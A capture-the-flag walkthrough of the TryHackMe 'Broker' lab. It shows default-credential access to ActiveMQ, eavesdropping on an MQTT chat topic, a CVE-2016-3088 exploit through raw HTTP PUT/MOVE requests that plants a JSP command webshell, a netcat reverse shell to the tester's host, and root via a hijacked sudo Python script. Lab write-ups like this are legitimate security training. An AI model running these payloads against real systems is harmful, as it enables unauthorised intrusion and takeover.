Broker

Paul and Max use a rather unconventional way to chat. They do not seem to know that eavesdropping is possible though…

Medium rated. This is Broker from THM. Let’s go!

Ports

SSH, plus ports 1883, 8161 and 44885. What are those?

8161

At port 8161 we find ActiveMQ version 5.9.0; default creds of admin:admin working. It’s an “open source message broker written in Java together with a full Java Message Service client.” Yeah sure, why not :/

Anyway it doesn’t appear to do anything super useful, although we can click through some of the menus and see there is something called secret_chat. Some research reveals it’s a ‘broker’ (a server, more or less) for various transport protocols including the MQTT protocol, which happens to be running on port….

1883

Yes so okay you might expect you could see the messages via this broker thingy, but no, you can’t. For this we need an MQTT client. I try a few different ones - mosquitto_sub which I installed via:

apt install mosquitto-clients

All this would do is endlessly try to connect, without actually connecting. Then I tried MQTT-Explorer-0.4.0-beta1.AppImage, and it wouldn’t connect either. Then I tried python-mqtt-client-shell, and it actually worked (once I downgraded the protocol version):

┌──(root💀kali)-[/opt/thm/broker]
└─# python3 mqtt_shell.py                                                 

Welcome to the MQTT client shell.
Type help or ? to list commands.
Pressing <Enter> on an empty line will repeat the last command.

Client args: client_id=paho-4460-kali, clean_session=True, protocol=4 (MQTTv3.1.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> ?

Documented commands (type help <topic>):
========================================
EOF            exit            pacing            quit          
clean_session  help            playback          record        
client_id      logging         prompt_verbosity  stop_recording
connection     logging_indent  protocol          transport     


Client args: client_id=paho-4460-kali, clean_session=True, protocol=4 (MQTTv3.1.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> protocol

Client args: client_id=paho-4460-kali, clean_session=True, protocol=4 (MQTTv3.1.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> protocol 3

Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> connection

Connection args: host=localhost, port=1883, keepalive=60, bind_address=, will=None,
                 username=, password=, 
                 TLS/SSL args: ca_certs_filepath=None, ...  (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> host broker

Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
                 username=, password=, 
                 TLS/SSL args: ca_certs_filepath=None, ...  (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> connect
                              on_log(): level=16 - Sending CONNECT (u0, p0, wr0, wq0, wf0, c1, k60) client_id=b'paho-4460-kali'

***CONNECTED***
Subscriptions: 
Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
                 username=, password=, 
                 TLS/SSL args: ca_certs_filepath=None, ...  (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
>                               on_log(): level=16 - Received CONNACK (0, 0)
                              on_connect(): result code = 0 (Connection Accepted.)
                                            flags = {'session present': 0}
?

Documented commands (type help <topic>):
========================================
EOF                 logging           publish         unsubscribe    
disconnect          logging_indent    quit            unsubscribe_all
exit                pacing            record        
help                playback          stop_recording
list_subscriptions  prompt_verbosity  subscribe     


***CONNECTED***
Subscriptions: 
Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
                 username=, password=, 
                 TLS/SSL args: ca_certs_filepath=None, ...  (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> subscribe
Topic must be specified

***CONNECTED***
Subscriptions: 
Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
                 username=, password=, 
                 TLS/SSL args: ca_certs_filepath=None, ...  (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
> subscribe secret_chat
                              on_log(): level=16 - Sending SUBSCRIBE (d0, m1) [(b'secret_chat', 0)]
...msg_id=1, result=0 (No error.)

***CONNECTED***
Subscriptions: (topic=secret_chat,qos=0)
Connection args: host=broker, port=1883, keepalive=60, bind_address=, will=None,
                 username=, password=, 
                 TLS/SSL args: ca_certs_filepath=None, ...  (TLS not used)
Client args: client_id=paho-4460-kali, clean_session=True, protocol=3 (MQTTv3.1), transport=tcp
Logging: on (indent=30), Recording: off, Pacing: 0
>                               on_log(): level=16 - Received SUBACK
                              on_subscribe(): subscribed: msg id = 1, granted_qos = (0,)
                              on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ...  (142 bytes)
                              on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 142
                                                              Payload (str): b'Max: Nice! Gotta go now, the boss will kill us if he sees us chatting here at work. This broker is not meant to be used like that lol. See ya!'
                                                              Payload (hex): b'4d61783a204e6963652120476f74746120676f206e6f772c2074686520626f73732077696c6c206b696c6c2075732069662068652073656573207573206368617474696e67206865726520617420776f726b2e20546869732062726f6b6572206973206e6f74206d65616e7420746f2062652075736564206c696b652074686174206c6f6c2e2053656520796121'
>                               on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ...  (55 bytes)
                              on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 55
                                                              Payload (str): b"Paul: Hey, have you played the videogame 'REDACTED' yet?"
                                                              Payload (hex): b'5061756c3a204865792c206861766520796f7520706c617965642074686520766964656f67616d6520274861636b6e657427207965743f'
                              on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ...  (128 bytes)
                              on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 128
                                                              Payload (str): b"Max: Yeah, honestly that's the one game that got me into hacking, since I wanted to know how hacking is 'for real', you know? ;)"
                                                              Payload (hex): b'4d61783a20596561682c20686f6e6573746c792074686174277320746865206f6e652067616d65207468617420676f74206d6520696e746f206861636b696e672c2073696e636520492077616e74656420746f206b6e6f7720686f77206861636b696e672069732027666f72207265616c272c20796f75206b6e6f773f203b29'
                              on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ...  (55 bytes)
                              on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 55
                                                              Payload (str): b'Paul: Sounds awesome, I will totally try it out then ^^'
                                                              Payload (hex): b'5061756c3a20536f756e647320617765736f6d652c20492077696c6c20746f74616c6c7920747279206974206f7574207468656e205e5e'
                              on_log(): level=16 - Received PUBLISH (d0, q0, r0, m0), 'secret_chat', ...  (142 bytes)
                              on_message(): message received: Topic: secret_chat, QoS: 0, Payload Length: 142
                                                              Payload (str): b'Max: Nice! Gotta go now, the boss will kill us if he sees us chatting here at work. This broker is not meant to be used like that lol. See ya!'
                                                              Payload (hex): b'4d61783a204e6963652120476f74746120676f206e6f772c2074686520626f73732077696c6c206b696c6c2075732069662068652073656573207573206368617474696e67206865726520617420776f726b2e20546869732062726f6b6572206973206e6f74206d65616e7420746f2062652075736564206c696b652074686174206c6f6c2e2053656520796121'
>                               on_log(): level=16 - Sending PINGREQ

Yikes. Anyway, whatever. Let’s pwn this thing.

A shell, my kingdom for a shell

So access to the server is via an ActiveMQ exploit - CVE-2016-3088. There is a metasploit module for it, but it doesn’t work. Or at least it didn’t work for me.

I followed this, and it did work.

First, we provoke the server to tell us about a directory:

PUT /fileserver/%80/%80 HTTP/1.1
Host: broker:8161
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=pd3bx4smg2gh693h3n5amjtw
Upgrade-Insecure-Requests: 1
Content-Length: 12

dsasdsadasda

And the response:

HTTP/1.1 500 /opt/apache-activemq-5.9.0/webapps/fileserver/€/€ (Not a directory)
Connection: close
Server: Jetty(7.6.9.v20130131)

Now we use PUT to create a webshell; note I typoed the filename!

PUT /fileserver//1.jps HTTP/1.1
Host: broker:8161
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: JSESSIONID=pd3bx4smg2gh693h3n5amjtw
Upgrade-Insecure-Requests: 1
Content-Length: 345

<%@ page import="java.io.*"%>
<%
	out.print("Hello</br>");
	String strcmd = request.getParameter("cmd");
	String line = null;

	Process p=Runtime.getRuntime().exec(strcmd);
	BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

	while((line = br.readLine()) != null) {
		out.print(line + "</br>");
	}
%>

But the typo doesn’t matter because we have to MOVE it anyway, since it doesn’t have execute permission where we created it anyway.

MOVE /fileserver//1.jps HTTP/1.1
Destination: file:///opt/apache-activemq-5.9.0/webapps/admin/1.jsp
Host: broker:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 0

Now we’ve got that we can do:

http://broker:8161/admin/1.jsp?cmd=cat+/etc/passwd

Or whatever. It took a while to find a reverse shell trigger but this one did it:

http://broker:8161/admin/1.jsp?cmd=nc%20-e%20/bin/sh%2010.9.10.123%201234

Privesc

We’re on the box as activemq and we get the user flag. Privesc is simple; we can run a python script as root and we own that script. Here’s my method:

activemq@activemq:/opt/apache-activemq-5.9.0$ sudo -l
sudo -l
Matching Defaults entries for activemq on activemq:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User activemq may run the following commands on activemq:
    (root) NOPASSWD: /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
# let's get that out of the way
activemq@activemq:/opt/apache-activemq-5.9.0$ mv subscribe.py no.py
# make our own
activemq@activemq:/opt/apache-activemq-5.9.0$ printf 'import os\nos.system("/bin/bash")\n' >> subscribe.py
activemq@activemq:/opt/apache-activemq-5.9.0$ chmod +x subscribe.py
# run it
activemq@activemq:/opt/apache-activemq-5.9.0$ sudo -u root /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
root@activemq:/opt/apache-activemq-5.9.0# id;hostname
id;hostname
uid=0(root) gid=0(root) groups=0(root)
activemq

Done! Not super easy; quite satisfying to do so thumbs up to ripcurlz and ms.geeky.